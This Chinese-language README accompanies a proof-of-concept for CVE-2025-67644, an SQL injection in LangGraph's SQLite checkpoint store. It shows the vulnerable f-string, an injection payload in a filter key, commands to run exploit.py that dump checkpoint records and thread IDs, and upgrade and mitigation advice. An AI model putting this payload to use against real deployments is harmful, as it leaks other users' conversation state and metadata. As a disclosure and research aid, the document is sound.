CVE-2025-67644 的概念验证漏洞利用程序,该漏洞是 LangGraph SQLite Checkpoint 中的一个 SQL 注入漏洞。演示了如何通过未经净化的元数据过滤器键实现任意 SQL 注入,从而能够进行数据窃取和过滤器绕过。
alist()影响:可完全绕过过滤器、泄漏所有检查点记录(包括可能敏感的对话状态、线程 ID、元数据),在某些部署场景下还可实现更广泛的数据库访问。
受影响版本:< 3.0.1
修复版本:≥ 3.0.1
CVSS 评分:7.3(高危)— AV:L / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:N
内部的 _metadata_predicate() 逻辑在 JSON 提取表达式中使用不安全的 f-string 插值来处理用户可控的字典键:
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}')"
能够提供任意键(例如通过 API 输入)的攻击者可以提前闭合 JSON 路径并注入 SQL 片段,例如:
{"env') OR '1'='1": "anything"}
→ 最终生成一个始终为真的 WHERE 子句 → 返回 所有 记录。
flowchart TD
A["User / API Client"] -->|"Sends malicious filter dict"| B["Application using langgraph-checkpoint-sqlite"]
B -->|"Passes filter=..."| C["SqliteSaver.list method"]
C -->|"Unsafe key interpolation"| D["Metadata predicate logic"]
D -->|"Builds injectable SQL"| E["SQLite Engine"]
E -->|"Returns ALL checkpoints / sensitive data"| F[Attacker]
F -->|"Data exfiltration / authorization bypass"| G["Impact achieved"](此版本尽可能避免在节点文本中使用括号,并对包含特殊字符/点的标签使用引号,以防止解析错误。)
--dump-all(显示完整记录)、--threads-only(仅提取 thread_ids)pip install langgraph-checkpoint-sqlite"<3.0.1" # e.g. ==2.0.0
# Basic check (count only)
python3 exploit.py checkpoints.db
# Dump full checkpoint details
python3 exploit.py checkpoints.db --dump-all
# Extract thread_ids only (useful for enumeration)
python3 exploit.py checkpoints.db --threads-only --dump-all
# Test against in-memory database (quick & volatile)
python3 exploit.py ":memory:" --dump-all
安装受影响版本:
pip install langgraph-checkpoint-sqlite==2.0.0
将漏洞利用代码保存为 exploit.py
对现有或新的检查点数据库运行:
python3 exploit.py checkpoints.db --dump-all
立即升级:
pip install --upgrade langgraph-checkpoint-sqlite
(版本 ≥ 3.0.1)
不要接受来自不可信来源(用户、API、JSON 负载等)的任意元数据过滤键
在 ≥ 3.0.1 版本中,该库会对键强制执行严格的正则表达式:^[a-zA-Z0-9_.-]+$
这是一个概念验证(PoC)代码,仅用于教育和安全研究目的。
请勿在未经明确书面许可的情况下将此代码用于生产系统或任何目标。
作者不对因使用此代码而导致的滥用或损害承担任何责任。
仅限负责任披露与研究用途。
Mohammed Idrees Banyamer
@banyamer_security